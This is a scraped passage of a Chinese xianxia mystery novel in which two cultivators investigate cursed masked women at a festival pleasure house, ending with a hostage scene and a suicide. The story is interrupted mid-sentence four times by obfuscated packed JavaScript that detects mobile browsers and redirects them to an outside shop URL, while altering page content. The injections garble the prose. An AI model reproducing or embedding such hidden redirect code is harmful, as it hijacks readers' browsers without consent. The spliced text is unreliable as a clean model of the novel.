十三岁的楚秋辞处于对什么都好奇的年纪,什么都敢干,这个时候的他已经不屑于去做掏鸟蛋或者跟村口的狗吵架之类的事情,转而开始像绝大多数的半大男孩一样,试图证明自己的勇敢无畏。裴惊澜其实不太记得那个年纪的楚秋辞长什么样了,也不记得那个时候他到底有多调皮,只记得有一次楚秋辞惹到了村里一个六十多岁还没娶妻生子的老光棍,把老光棍气得上门告状,楚秋辞被他爹按在板凳上打了足足八十板子,打得他七天没下着地。 后来裴惊澜皱着眉给他上药,问到底发生了什么,好面子的小小少年只是装作不在意地说:“那光棍欺负陈枝,我把他地里的东西全拔干净了。” 陈枝是他们村里刚满十岁的小姑娘,家里人一年四季都为生计奔波,平时根本没人管她。 不止那一次,裴惊澜知道楚秋辞在背地里做过很多这样的事,哪怕有一些至今都没人知道。他在楚秋辞很小的时候就明白这个小孩子只是看起来混账,心里头小九九多得很,但到底是个长不歪的好苗子。 楚秋辞的第三支箭又中了,他本人依旧没什么表情,看起来对这个结果并不意外,可他身边那个要跟他比的男人脸上的笑容却愈发勉强起来。 裴惊澜瞧着楚秋辞的背影,也只有在身处不会被他注意到的角落里时,裴惊澜才会放任自己的贪婪,才会放纵自己的痴心。 他知道,楚秋辞只是看起来对这事不上心而已,他对鬼修恨之入骨,怎么可能置之不理。 据掌柜说,整座红楼里戴着面具的人有至少两百人,包括负责游戏的小厮、照顾客人的侍女,以及随处可见的歌姬舞姬。为了方便识人,负责游戏的小厮面具是固定统一的颜色,其余人的面具都是自己上色制作的,就算样式相似也有不同的地方。 而为了游戏的公平,除了负责游戏的小厮们,其余每个人面具上都有一道禁制,只有特定解咒能解开,否则就算面具的主人想取也不能取下来。 至于解咒,就在赢得游戏从小厮手里拿到的木牌里。 出事的侍女身上信息太少,没有一个人看到她到底是怎么“死”的,唯一的目击证人也说就看见她背对她站着,她却突然倒下时身边空 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16971481|193462||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 无一人,远处看到的人本以为她只是晕倒,没想到一探呼吸,人竟然死了。 慌乱过后,有人说看她“尸体”像是中毒,但现场有大夫,都说没见过这种毒——并且谁会好好地去毒害一个人微言轻的小小侍女呢?没有仵作,旁人就开始说这姑娘平时行事荒唐,连神仙也不放在眼里,有一次有人撞见她正对着一个神仙画像破口大骂,于是大家都说她得了失心疯,慢慢地就不跟她来往了。 就连裴惊澜也只能确定她不是僵子,但因为和僵子太过相似,所以倒可能是鬼修做的恶咒,若是找到解咒的方法说不定还有得救,这种能夺人躯体的恶咒必定是从鬼蜮传出来的,可裴惊澜竟然闻所未闻。 正想着,裴惊澜忽然注意到一个戴着面具的女人走一步顿一步,走的姿势格外僵硬,撞到人也不管,就那么直愣愣地冲着另一个戴面具的人去了。 不对—— 裴惊澜脚底瞬间窜出一股凉意,脑子里霎时闪过一处他方才忽视的逻辑漏洞:太局限了,为什么一个鬼修费这么大劲就为了控制一个侍女,甚至没有杀了她,他印象中的鬼修有这么善良吗? 且不论做一个恶咒有多费事,就单论一个侍女能给鬼修带去什么东西? 恐怕连消耗的灵力都补不上吧。 但倘若……鬼修的目标不单单是为了一个侍女,而是整个红楼的所有人呢? 裴惊澜来不及多想,心念一闪,刹那间就出现在了那个面具女身边,他一把拉住面具女,伸手要摘她的面具,立刻感受到凭空传出一股阻力。 裴惊澜咬咬牙,准备强破禁制,可就在电光石火之间,面具竟然毫无征兆地掉了! 面具后是一双充满怨毒的眼睛。 女人脸上的血管紧绷着,整张面孔紫红得骇人,仿佛下一瞬就要炸裂开来。她对裴惊澜轻轻歪了一下头,深不见底的漆黑瞳孔逐渐变大,连眼白都要被完全吞噬了,突然,她诡异地笑起来,牙齿碰撞在一起发出咯吱的声响。 女人头上是高悬的红布,层层叠叠,本该是喜气的象征,此刻却像她喷溅三尺的鲜血。 大庭广众下,众目睽睽中,裴惊澜暗道不好,他强压着身体的不适,开始在手中运转灵力,防范接下来会出现的一切可能。 然而女人眼珠越瞪越大,整张脸都憋成了紫红色,裴惊澜觉得她的脑袋像一颗正在充气的气球,已经到达了临界点,下一刻就要炸开。裴惊澜侧在身旁的手飞快写着符咒,一道结界在他们身边缓慢凝结起来。然而在女人的头被炸开之前,她突然昏了过去,如同一张轻飘飘的薄纸,出其不意地倒下了。 裴惊澜眼尖地瞥见,她的面具上有光一闪而过,紧接着飞向一处角落。 裴惊澜将女人接住,侧身挡住了旁人递来的视线,结界顿时消散开。他用灵力迅速探测了一遍她的气息和脉搏,依旧是无活人特征,但魂魄未灭,还有一口气在。 那么之前那些其他来布菜的侍女呢? 其他戴着面具不曾被人注意到的人呢? ——她们之中又有哪些是中了恶咒的人,她们是否会有人死亡。 裴惊澜越过载歌载舞的人群,深深地看向那个角落。 是否有人已经知道这个鬼修的存在了呢? 他的目的又是什么? “裴兄。” 身后传来一道熟悉的声音。 “她是谁啊?” 5. 鬼修 “裴兄,我拿了第一,不恭喜一下我吗?” 楚秋辞抱着手,站在烛光照不到的阴影中,他站得很直,怀里揣着什么东西。裴惊澜看不清他的脸,脑子还没反应过来,身体已经先把女人靠墙放下了。 也许是光不够亮,也许是人声太嘈杂,又或许是裴惊澜从穿越回来后就再没清醒过,恍惚中,他将记忆深处少年的那一声“师兄,我要拿第一!”与这句话混在了一起,一时之间不知楚秋辞唤的是“裴兄”还是“师兄”。 裴惊澜刚才对面具女出手时的果决凌厉彻底淡去,取而代之的是唯有面对楚秋辞时才有的纵容。 他停顿一下,没有逼自己去分清听到的是什么,他笑了笑说:“恭喜你,小楚。” 楚秋辞听到了想听的话,心情愉悦了些,他朝裴惊澜走来,状似不经意地问:“又‘死’人了?” 裴惊澜看着靠墙躺着的面具女,点了点头。 “是鬼修,来头不小。” 裴惊澜手中不知何时多出一张面具,是面具女掉的那张,正面没有图案,只有大小不一的点状红漆。他将面具翻过来给楚秋辞看,果不其然没有看到那行小字。 “这就是一个普通的禁制,因为对灵力消耗大,一般没人用,而且大范围布咒对施咒人要求还挺高的。”楚秋辞抬头看裴惊澜,他口中的“要求高”那就是至少要悟道的修士。 连悟道期的修士都能找来,就为了让崎州边缘小城里一个普通酒楼办个活动。 二人对视一眼,心里不约而同地想:这个红楼的水是有点深啊。 楚秋辞见裴惊澜没有收回去的意思,便从他手中接过那副面具,翻来覆去没看到其他的东西,而后向裴惊澜递去一个疑惑的眼神,问:“既然不是僵子,那她是中的什么法术?” “不确定。” 裴惊澜知道楚秋辞肯定看到自己出手了,略一思考后索性不再隐瞒,将自己的想法说了出来:“但我怀疑这楼里可能还有其他人也中招了。” “面具?”楚秋辞问。 裴惊澜摇头,又往刚才的角落看了一眼,他始终能从那边传来的一道隐秘视线,在不确定对方想干什么之前,裴惊澜暂时不想打草惊蛇。 他将面具收了起来,唤来没戴面具的女仆,让她们把面具女安顿好,并特意解释女人只是突发怪病,才暂时没了气息。 做完这一切,裴惊澜转身示意楚秋辞跟他走,可楚秋辞却假装没看见,他也假装不知道楚秋辞装没看懂,耐心问:“怎么了?” “你还没问我的奖是什么呢。”楚秋辞脸色没变,声音却听起来有些委屈。 裴惊澜问:“不是血冰梅吗?” 话音还没落,楚秋辞以迅雷不及掩耳之势飞速抬手,袖子里滑落了一个什么东西,往他鬓边一放,然后像一个恶作剧得逞的坏孩子一样,眼中闪过一抹狡黠的笑意。 楚秋辞往后退了两步,说:“裴兄,你的演技太拙劣了。” “我第一天就知道你会法术了,你隐匿灵力的本事还得再精进一下。” 说完这句话,楚秋辞眯了眯眼,迅速逃离现场,只留裴惊澜一人呆愣在原地,他看着那个远去的清瘦背影,又一次直观地感受到这人实在瘦了太多。 身边人来来往往,都绕过他往前走去,偶尔有人注意到他,看他的眼神也有些笑意。 裴惊澜回过神,施了个投影术,看清投影中的自己鬓边赫然插着一枝血冰梅,花心红艳动人,同他不动时显凶的眉眼凑在一起倒显出几分不伦不类。 裴惊澜顿时弯了眼,笑着摇摇头,抬步往楚秋辞离开的方向追去,身后因着他走远而逐渐消失的投影也在笑。 到底还是没变,小孩子心性。裴惊澜这么想着,却没有将花摘下。 “这个禁制的解咒可以模仿吗?”裴惊澜走到楚秋辞身边,他们身前是栏杆,下面是一楼的舞台,有舞姬正在上面跳舞。 楚秋辞摇头,转过身背靠栏杆,说:“这个禁制限制了面具的摘下人、方式、地点,以及范围,想要大范围模仿解咒来解除这个禁制需要时间。” 但是他们没有时间,短短半个时辰就发生了两起事故,很难说下一个受害者会在什么时候出现——就算鬼修真的不想杀人,但他这么做也必定有所图谋,还有那个藏在暗处的人…… 裴惊澜从怀里再次拿出面具,递给楚秋辞。 面具背面的红漆符咒有些褪色,楚秋辞不明所以地接过,仔细看了一下,又翻到正面,抬起头问:“不是刚才那个?” “是……那个侍女的?” 裴惊澜点头:“这两个面具看出有什么不同了吗?” 楚秋辞轻轻蹙眉,又仔细比较了一下,摇头:“除了面具上图案不一样,其他没什么不同,就连符咒都是一比一描摹的。” “因为不同的地方消失了,”裴惊澜将面具女的面具也拿了出来,把两个面具放在一起比对,他指了指侍女面具背面原本有小字的地方,“这里,原本有一行符咒。” “不是一个人留下的?”楚秋辞猛地看向裴惊澜。 裴惊澜的手指轻轻拂过小字原本出现的地方,垂下眼说:“不是。” “我第一次看的时候还有,第二次出事之后我想起来这个面具,再去的时候已经没有了。” 两个面具形状类似,图案大相径庭,但因用色都相当大胆,且图案诡异,总给人一种微妙的错觉——这两个面具或许出自一人之手。 楚秋辞盯着这两张面具看得久了,心里也生出一股不适感,同时他也明白过来裴惊澜话外的意思。 沉思许久,楚秋辞喃喃道:“这是在……保她们?” 可既然知道有鬼修混了进来,又毫不声张,他为的是什么? 楼下舞女已经随着一曲结束而换上了一批新人,台下和二楼栏杆处围满了观众,台上撒着一堆又一堆的铜钱银两,也有各种饰品鲜花。 往上看是三四楼的包间,正上方是房顶,梁上挂着红灯笼,悬着红幔,每个角落里都放着红蜡烛,当真是个喜气的节日。 酒楼里歌舞升平,人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16971482|193462||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 们醉生梦死,外头有人在祭仙焚香,香火味透过纸糊的窗户渗了进来,悄无声息地包围了每个人。 在这大好的节日里,谁也想不到他们已经大难临头。 一个女人踩着月白色纹云头攒珠绣的鞋,绕过所有人,眉眼含笑地直奔朱荇而来。 “这位官人,不知是不是小店怠慢了您,怎的一个人往冷清的地儿坐?”一个娇俏的声音打破了朱荇周身的沉闷。 朱荇回过头,只见一位戴着面具的佳人正跪坐在离他一臂远的地方,他瞧不见脸,却能从身材推断出这必定是位美人。再加上美人话里对他的奉承,让他迅速从自己的世界里脱身。 “这位姐姐一看便是位绝代风华的美人,”朱荇短暂忘却方才被羞辱的愤怒,重新找回了自信,他摇着羽扇,一只手伸向女人,“不知该怎么称呼?” 女人面具后的眼睛似乎弯了一下,她将纤细娇嫩的手搭在朱荇手中,接力起身后欠了欠身子,柔声道:“妾身书云,万万当不得郦王殿下一声姐姐。” 朱荇看了眼女人,发现她的目光刚从自己腰间令牌上挪过,心里愈加畅快——连在烟花之地长出来的女人都能认得他,这可不是他威名远扬?那个穿红衣服的男人简直是个蠢货,连他郦王都认不出! “诶,出门在外,本王也是低调行事,书云唤我朱公子即可。”朱荇将女人往自己身前拉了一下,将自己身上的狐裘解下,披在了书云肩上,还轻声叮嘱:“天凉,可不能染上风寒。” 书云也是很会看人眼色,顺从地说了声“多谢朱公子关怀”,便柔柔弱弱地往朱公子身上倒,被朱公子“好心”扶住,紧接着就再没离开过他怀里。 金玉牌是前三甲可以拿到的,可用于换奖品,而木牌是赢下一局游戏可以得到的,只能集齐五块去换解咒的木牌。 “裴兄,你能认出哪个是花魁吗?” 楚秋辞难得没看裴惊澜,他手转着木牌,目光一一滑过戴着面具的人,她们的衣着打扮大差不差,发型也类似,不熟悉的人压根分辨不出谁是谁。 裴惊澜正在从一堆花灯中找一个画有兔子形状的灯,他一边看一边答:“不能,我没见过她。” “裴兄之前没来过这儿?”楚秋辞走了两步,站到裴惊澜身边。 裴惊澜坦率道:“未曾。” 按照前几次的经验,裴惊澜已经做好了被楚秋辞死缠烂打揪着不放的心理准备了,然而楚秋辞竟轻飘飘放过了这茬,他笑着说:“我也没有。” 裴惊澜精准地提出了那个兔子灯,从伙计那得到了第五块木牌,他随口说:“我没记错的话,这些天你没出过门吧。” “裴兄,”楚秋辞又唤了他一声,对上了裴惊澜转过来的目光,他伸出一根食指在裴惊澜眼前左右摇了两下,慢条斯理地说,“我不是第一次来栖山城哦。” 白色的衣角从余光划过,裴惊澜看向他的眼神变了些味道,楚秋辞的笑更明朗起来。 他补充了一句:“以及,那边那个人好像挺在意我们有没有来过这的。” 6. 赌局 “谁在那?” 裴惊澜轻喝一声,音量不大,却精准地传入了那个藏于人群中的人耳中。 然后那人却像听见猫叫的耗子,给吓得瞬间扭头隐入人群,凭借灵巧的身法避开一个又一个人,像是做惯了逃跑的事,在隐匿自己气息的同时迅速在人群里消失不见。 裴惊澜的灵力尚未恢复到巅峰期,他也是在穿回来第二天才发现自己身上有灵力波动,这些天虽然修为也随着灵力的积累而水涨船高,但增速缓慢,目前就约等于刚入门的通灵期。 方才他跟面具女交手都纯属硬撑,生怕被看出是个纸老虎,而现下要他去追一只灵敏且会咒法的泥鳅,难度不亚于刚穿来目不识丁的他跟当代状元比作诗。 楚秋辞显然也知道他此刻的无能为力,侧身看了他一眼,唇角挂着一丝可疑的微笑。 下一瞬,楚秋辞的手搭上裴惊澜的肩,在裴惊澜心里还没来得及生出些别扭之前,拽着裴惊澜以常人难以看清的速度冲了出去。 在移动的几个呼吸之间,裴惊澜能清楚地感觉到自己身边的时间仿佛被短暂地静止了,经过的每一个人都好像停住了动作,对他们来说,眼前只是飞过了一只飞蝇。 这其实就是个简单追踪术,但是实战起来需要记住每个方位并灵活转换,局限性太大,在实战中很少有人真能在极短时间内记住需要追踪的人每个行动时的详细方位,不过这个法术要是施展得好倒也观赏性十足,像是一道漂亮的流星。后来这个法术又叠加了新的法术,渐渐彻底变成了一个表演术。 裴惊澜反应了一下才想起来这个法术,当年他知道这个追踪术也是因为楚秋辞,那时候楚秋辞刚踏入修仙界,正对所有奇奇怪怪的术法充满兴趣,某天从书阁某个不知名角落拣出一本奇闻杂谈,里头刚好就记载了这个追踪术,裴惊澜记得当时楚秋辞苦练两个月也没练出来,为此还难过了好一阵。 这人是在炫耀现在的他能完美熟练地施展这个法术了?裴惊澜不由失笑。 再回过神,二人已经停在了二楼往三楼上去的楼梯上,身前正站着个小厮。 楚秋辞把搭在他肩膀上的手拿开了,裴惊澜余光停留了一下,就听小厮笑着上前问:“二位客人,可有信物?” “信物?”楚秋辞反问。 小厮脸上的笑顿时淡了些,解释道:“公子,是这样的,三楼只有一些固定顾客能够上去。这是上头的意思,我们这些下人只能照做。” 楚秋辞抱起手:“怎么,怕我闹事?” 小厮唇一抿,心道:这不已经开始找事了吗。 “当然不是,”小厮画蛇添足地补充道,“只是怕公子误会。” “公子相貌堂堂,一看便不是会同那些粗鄙之人有同样行径,小的们不敢妄议公子。” 说着,他低下头,做足了谦卑的姿态。 然而面前之人并没放过他,一个冰凉的东西贴住了他的下巴,用力逼迫他抬头来,余光里,那个一直站着没动的男人似乎往前来了两步。 小厮对上了一双漂亮的眼睛,眼睛的主人问:“不敢妄议?” “当着我的面说我,不算妄议?” “心里头腹诽我,不算妄议?” 他没想到这个公子哥看起来病怏怏的,力气却大,脾气也不小,私下里多半是个骄奢淫逸的主。 “公子……”小厮目光一垂还要狡辩。 楚秋辞皱起眉:“抬起头来。” 小厮不得已抬头,却始终不愿和楚秋辞对视。 岂料下一刻,楚秋辞手里的刀往上挪了三寸,在他眼睛下方划出一条口子,串珠的血顿时浸了出来。 刀尖反过的光晃在小厮眼睛里,迟来的痛意蔓延上来。 “精通咒术易容,能造幻境,修为也算不上差,躲这么个犄角旮旯的地儿做什么?” 楚秋辞收回手,把刀拿在手里转了起来,眼睛仍旧看着小厮,大有再试图逃跑就一刀了结他的意思。 小厮咽了咽口水,道:“公子,你在说什么呢。” 刀光一闪,小厮的手下意识护住心口,可等他反应过来才发现自己藏在袖中的锦囊不知何时已经到了楚秋辞手里。 他登时瞪大了眼,手下意识运起灵力写咒,同时向楚秋辞袭去,小厮惊怒交加地喊:“还给我!” 一只骨节分明的手从旁边探出,一把抓住了他的手腕。 小厮转过头,就见另一个男人皱了皱眉,问:“空舟门的人?” 此话一出,小厮顿时慌了神,厉声问:“你是谁?你怎么知道空舟门的!”这个男人身上的灵力很浅,修为更差到难登大雅之堂,可他竟然单凭蛮力制止了他,还一口道出他的师门,小厮甚至没再顾得上讨要自己的锦囊,周身气质也顿时换了个样,再没之前的唯唯诺诺。 裴惊澜有些迟疑地看向楚秋辞,却见楚秋辞慢条斯理地打开锦囊,从中拿出了一块栩栩如生的仙鹤玉雕,他仔仔细细看过一遍,目光落在仙鹤底部,那里刻着字。楚秋辞辨认了一下,嘴中吐出两个字:“玟羽?” “这名取得好,跟空舟门第三十二代掌门离前辈之子一个名。” 小厮,或者说离玟羽在身份被道破后第一反应是逃,他奋力挣脱了裴惊澜的手,往楼下跑去,准备故技重施再来一招金蝉脱壳,然而他刚跑出两步,一柄飞刀就擦过他的手朝楼梯飞去,最后竟然直直从楼梯处穿了过去钉在两丈远的红墙上,露出此地原本狭窄阴暗的真实模样。 原来这里并非真正往三楼去的楼梯,而是离玟羽被逼到无处可躲时在角落房间中生造出一个幻境。 “我没那么多耐心陪你玩躲猫猫。”楚秋辞站在原地没动,甚至从头到尾都没动过灵力,他仅仅是看着离玟羽,却让离玟羽凭空感觉到了一种被轻而易举看穿所有的无力感。 他捂着手臂,愤恨地转头:“你们到底想做什么?!” “你问我?”楚秋辞将仙鹤塞回去,重新系好锦囊抛给他,“你倒不如说说自己在这做什么。” “用离前辈教你的咒术害人?” “我没有!”离玟羽喊了一句。 “这里谁死了?有人真的死了吗!”话音刚落,他便意识到了不对——该死,被套话了。 然而话已出口,离玟羽涨红了脸也无济于事,只得独自生闷气,并暗暗发誓无论这个花花公子再怎么激他,他也绝对不会开口了。 裴惊澜拔出那把被牢牢钉在墙上的刀,不知想到了什么,动作停滞了一瞬,而后毫无异样地拆穿离玟羽道:“面具背后的符咒是你留的,为的是保护她们。” “狂妄,不自量力 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16971483|193462||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。”楚秋辞接上裴惊澜的话,毫不留情地嘲讽。 裴惊澜从怀里掏出一块帕子,把刀擦干净了递给楚秋辞,同时问:“为什么不告诉你的师长,反而一个人跑这么远来处理这件事?” 然而这话一出口,另外二人都转头看他,离玟羽更是脸上悲恨交加。 裴惊澜当即意识到自己说了蠢话,可他并不清楚别人的伤心事究竟为何,也就不知道该怎么补救,只好干脆往边上一站不再说话。 “我不管你所求为何,但我希望你没有忘记空舟门的门训。” 楚秋辞收起刀,最后看了眼离玟羽,警告道:“别再插手这件事,想来你父兄都希望你好好的。” “不求渡人渡己,但求问心无愧。”离玟羽沉沉道,“从来不敢忘。” “我爹当然希望我好好的,但是我不会停手。” 楚秋辞往外走的步子一顿。 这死孩子。算了他爱咋咋,只要别乱折腾坏事,其他的随便吧,楚秋辞彻底放弃和一根筋的死心眼沟通。 还没走出去两部,几声尖叫突然炸开,此起彼伏地从楼下传来,一楼哄乱起来。 楚秋辞三步并作两步,迅速下楼。 只见一楼舞台上,一个穿着红罗霓裳的纤纤女子正拿着一把短刀抵在一个男人咽喉处,她戴着的面具没有图案,只用木头削成了个面具形状,做工简陋。女人一句话没有说,只慢慢用力,享受着男人的恐慌,以及一个活物的咽喉被缓缓划开的过程。 楚秋辞定睛一瞧,发现那个被挟持的男人还是个熟人,可不是方才试图同他搭讪的朱荇。 朱荇这会已经顾不上什么姐姐妹妹美人仙子了,他发现自己甚至没办法从一个女人怀里挣脱开来,慌乱之中只能涕泪横流地求饶:“云儿,美人,姐姐,大侠,求你放过我,我也没得罪过你是不,你要是放了我,金银珠宝什么都可以给你!” 尖刀划破了他的皮肤,还在深入。 “啊,女侠女侠,条件还可以谈,你想要什么,只要我能做到,只要你放过我,我都可以满足你!” “我要你,可以吗?” 女人伏在他肩头,声音一如初见时的轻柔,恍若情人低语。 人群里,面容姣好的年轻女子见到这一幕,停下了脚步,她落在逃命的人群最后,一眨不眨地看着这场闹剧。 朱荇闻言,忙不迭地点头:“可以可以,我可以收你为通房。不不不,可以收你为侧室。” “好姐姐,”朱荇咽了咽口水,努力扯出一抹比哭还难看的微笑,安抚道,“把刀拿开好不好?” “不。” 书云摇了摇头,说:“我要的是你的人,你的肉/体。” “你愿意把你的身体给我吗?”书云的头紧紧贴在朱荇脸侧,以一种扭曲的姿态盯着朱荇的眼,语气中满是蛊惑。 朱荇被那样侧过头与那双眼睛对视了一下,竟忽然生出要答应她的冲动来。 直到另一道熟悉得令人生气的声音打乱了他的思绪。 只听刚才把他当空气的男人对着另一个人说:“裴兄,敢不敢打个赌,看看谁先结束这场游戏。” “可以,赌什么?”裴惊澜问。 楚秋辞想了想,道:“你想要什么都可以,而我要你身上的一样东西。” 7. 神像 “上元宴天客,中元行鬼赂,只要心诚意也到,家家都能平安好。” 女人嘴里轻声哼着童谣,轻快地走在阴影中,她的存在感很低,不会有人发现她。 今天可是上元佳节,那些神仙们应该能得到不少神力吧,女人这般想着,握紧了拳头。 她深深叹了一口气,喃喃道:“真可惜,没办法混进神庙。” “要不然,这场戏还能再精彩一点。” 她一边遗憾着,一边走进了后厨。 厨房里正热火朝天地忙碌着,三楼有一位皇亲国戚正带着他的客人们聚餐,那位大人物的要求也实在是太烦琐,厨师们既要忙活着大人物们的餐食,又不能怠慢了其他客人,就连师傅们的学徒也不得不开始独当一面。 小厮侍女来来往往穿梭在这里,在混乱中居然还显出几分奇特的秩序。女人找准时机伸出手,从容接过一个侍女的盘子,好心说:“我帮你。” 侍女压根来不及分辨她是谁,只连连道谢,起身去端另一个托盘。 盘子里盛的是一道白灼青菜,卖相不算好,比平日里的菜品差上很多,女人瞥了一眼,心里鄙夷一句“就连皇亲国戚里头也能分出个高低贵贱”。 她低眉顺眼地走过,不料一个五大三粗的大肚厨师看见了她,并大声喊:“喂,那边那个,过来把这菜洗了。” “这……”女人娇滴滴地抬头,迟疑道,“可是客人那边还在叫我过去。” 那大肚厨师见了那张脸,愣了愣,随即往地上吐了口唾沫:“女人就是好,什么脏活累活都不用干。” “天天陪你那客人,人认得全吗?在床上叫错过男人名字没?”大肚厨师嘿嘿一笑,抄起一只鸡扔在菜板上,拿起菜刀,偏头又说,“怎么没见过你,叫什么名字?” 女人眉头皱起来,嘴动了动,可瞧着眼前男人虎背熊腰的模样,声势顿时又弱了下去,小声说:“烟姝。” 大肚厨师不知道她说的是那两个字,但他也不在乎,他手脚利落地砍鸡,飞溅的肉渣沾到了他的身上,他整个人都散发着一股恶心的臭味,嘴里又接上一句下流的荤话,旁边的其他男人听到了,凑过来小声说了句什么,两人默契地相视一笑。 烟姝最擅长装作听不到,她悄悄绕过大肚厨师,来到了后院。 出了门,新鲜的气息扑面而来,后厨里的腥臭被带走,烟姝缓了缓,脸上谄媚委屈的神情刹那消失。她走到一棵矮树前,将手中的菜倒掉,红唇轻启:“你也觉得他们恶心吧。” “他们都该死。” 女人口中又哼起那首童谣,她从怀里拿出一把刀,安慰道:“别怕,不会死的。” “你不是想要改命吗,那就不要挣扎。”她的左手抖了抖,最终还是乖巧地用刀割开了自己的手腕。 鲜血汇聚成一束落在地上,居然像有生命一般汇聚成了一道诡谲的圆形图案,并且随着图案的渐渐完善,血也越发鲜红,直到最后圆形合拢,鲜血红得像初升的朝阳,同时烟姝手腕上的伤口也开始慢慢愈合。 “那边那个,做什么呢?” 烟姝浑身一颤,立马换上了一副懵懂无辜的表情,待到看清来人只是一个小小管事之后放下心,解释道:“客人说要后院的新鲜梅花,我来摘了,却不小心伤了手,才耽搁了片刻。” 管事还有些疑心,但看到女人手里的花和腕上的伤口,才拧眉斥责道:“你们知不知道自己身子娇贵,不知道自己靠什么吃饭吗?今日伤了手,明日又该伤到哪里?你这样要叫我怎么交差!” “念在你是初犯,今日便不追究,再有下次就滚出去罢!” 管事嘴里的唾沫飞溅了烟姝一身,他一甩袖子,愤愤地转身离去,嘴里依旧念念有词。 月上枝头,今夜月圆又亮,明日指定是个好天气。 烟姝落在身后,目光沉沉,心里头算着最后一个方位,而她身边原本阵法落下的地方已经彻底没有血迹了。 离位,正东。 是那两个不自量力的修士所在的方位,烟姝朝那边望去,忽地咧开嘴笑了,她好久没和那些恶心又讨厌修士正面交手了。 只要乾璇阵落下,不管是修士还是凡人都逃不掉——修士好啊,修士还能提供给他比凡人要多得多的法力。 裴惊澜有了一个大胆的猜测。 他眼神锁定着台上女人的面具,问:“小楚,你知道被勒死的人会有什么特征吗?” 许久都没等到回应,裴惊澜扭头,发现楚秋辞已经不在原地了,他愣了一瞬,摇摇头,想起那个玩闹般的赌约,真不知道现在自己身上还有什么东西值得他讨要。 裴惊澜飞身上前,路过一个还呆在原地迈不动腿的人,随手将他手中的已经不亮了的纸灯顺了过来,口中道:“抱歉,借用一下。” 挂灯的木棒被裴惊澜迅速拆卸下来,那厢朱荇还在苦苦哀求女人放他一马,脖子上的刀也快嵌进去三分之一了,朱荇的声音越来越弱,持刀的女人手依旧稳得很,似乎打定主意要让朱荇体验一把最绝望和痛苦的死亡。 “为什么要背叛我呢?” 女人沉迷地埋在朱荇脖颈处,贪恋地挑起他的一缕发丝。 “明明你爱我,我也爱你,和我就这样过一辈子不好吗?为什么要卖掉我呢?” 裴惊澜敏锐地捕捉到了这句耳语,与此同时他在脑中飞速梳理已知信息。 第一个出事的人,脸上面具类似被勒死的人的尸体特征,但面具主人是被“毒死”;第二个出事的女人当时的情况类似被“勒死”,而她面具上的红点就像被划破脖子后飞溅的血点,所以第三个人,马上要在大庭广众之下被割喉…… 出事的人从在无人知晓的角落里险些丧命到马上就要在大庭广众之下被割喉,从静默到嚣张,从悄无声息地死去一个无足轻重的侍女到当众谋害皇族,幕后之人循序渐进,就好像在导一出戏,而现在似乎已经到了高/潮前夕。 下一步,他会做什么? 裴惊澜一棍挑开女人的刀,书云没料到这突如其来的变故,被打得后退几步,朱荇脱离了控制,顿时滚落在地,气息微弱。 书云没有说话,面具挡住了她的表情,却挡不住她死气沉沉的视线,她的头发滑落肩头,手上沾满鲜血,面具却依旧一尘不染。 裴惊澜看着她,心头的不安始终萦绕不去—— 空白面具代表着什么? 幕后人当时没能杀了那些受害者,就这么轻而易举地放过她们,是真的心善,还是为了放松他们的警惕,等到最后来一场轰轰烈烈的谢幕? 还有那个始终隐身的花魁,和离开的楚秋辞。 裴惊澜居高临下问道:“你只是一个普通人,你改变不了什么,就算拖延时间也不可能真的让拖太久。” “为什么要帮一个鬼修?” 书云嗤笑一声:“恶鬼也好过神仙。” “我求神拜佛的时候不见你出来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16971484|193462||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说话,我苦苦哀求上天放我一马的时候不见你显灵,我现在不过是帮了一下我的救命恩人,甚至连仇都还没报成,你便如此着急地跳出来。” 她的手缩进衣袖,恶狠狠地啐道:“简直是恶心透了。” 裴惊澜闻言神色一变,下一瞬,书云手里的刀已经猛地刺入自己的心脏,她闷哼一声,最后说:“再高高在上的人也迟早会遭报应的,我等着你们的报应。” 话毕,她头一歪,在地上扑腾了两下彻底没了生气。 